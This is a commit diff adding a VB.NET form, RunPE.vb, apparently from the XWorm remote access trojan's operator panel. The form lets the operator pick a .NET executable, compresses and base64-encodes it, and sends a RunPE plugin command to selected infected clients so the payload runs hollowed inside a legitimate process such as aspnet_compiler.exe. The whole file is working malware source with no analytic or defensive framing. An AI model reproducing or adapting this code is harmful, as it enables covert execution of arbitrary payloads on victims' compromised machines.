initial commit

XWorm/Forms/RunPE.vb

@@ -0,0 +1,64 @@
+Imports System.Threading
+Public Class RunPE
+
+    Dim v4 As String = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\"
+    Dim v2 As String = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\"
+
+    Public File As Byte()
+    Public Net As String
+    Private Sub RunPE_Load(sender As Object, e As EventArgs) Handles MyBase.Load
+        Guna2ComboBox1.Text = "v4.0"
+        Guna2ComboBox2.Text = "aspnet_compiler.exe"
+    End Sub
+
+    Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
+        Close()
+    End Sub
+
+    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
+        Try
+
+            Dim o As New OpenFileDialog
+            With o
+                .Filter = "(*.exe)|*.exe"
+                .Title = "Select .Net File"
+            End With
+
+            If o.ShowDialog = DialogResult.OK Then
+                Try
+                    System.Reflection.Assembly.LoadFile(o.FileName).EntryPoint.GetParameters()
+                Catch
+                    MessageBox.Show(o.FileName, "Is Not A .NET Assembly")
+                    Return
+                End Try
+
+                File = Compress(IO.File.ReadAllBytes(o.FileName))
+
+            End If
+        Catch ex As Exception
+            MessageBox.Show(ex.Message)
+        End Try
+    End Sub
+
+    Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
+        If Guna2ComboBox1.Text = "v4.0" Then
+            Net = v4
+        End If
+        If Guna2ComboBox1.Text = "v2.0" Then
+            Net = v2
+        End If
+        Try
+            If File Is Nothing Then
+            Else
+                Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\RunPE.dll") & SettingsHelper.SPL & Net & Guna2ComboBox2.Text & SettingsHelper.SPL & Convert.ToBase64String(File))
+                For Each C As Client In Main.GetSelectedClients
+                    ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+                Next
+                MessageBox.Show("DONE!")
+                Close()
+            End If
+        Catch ex As Exception
+            MessageBox.Show(ex.Message)
+        End Try
+    End Sub
+End Class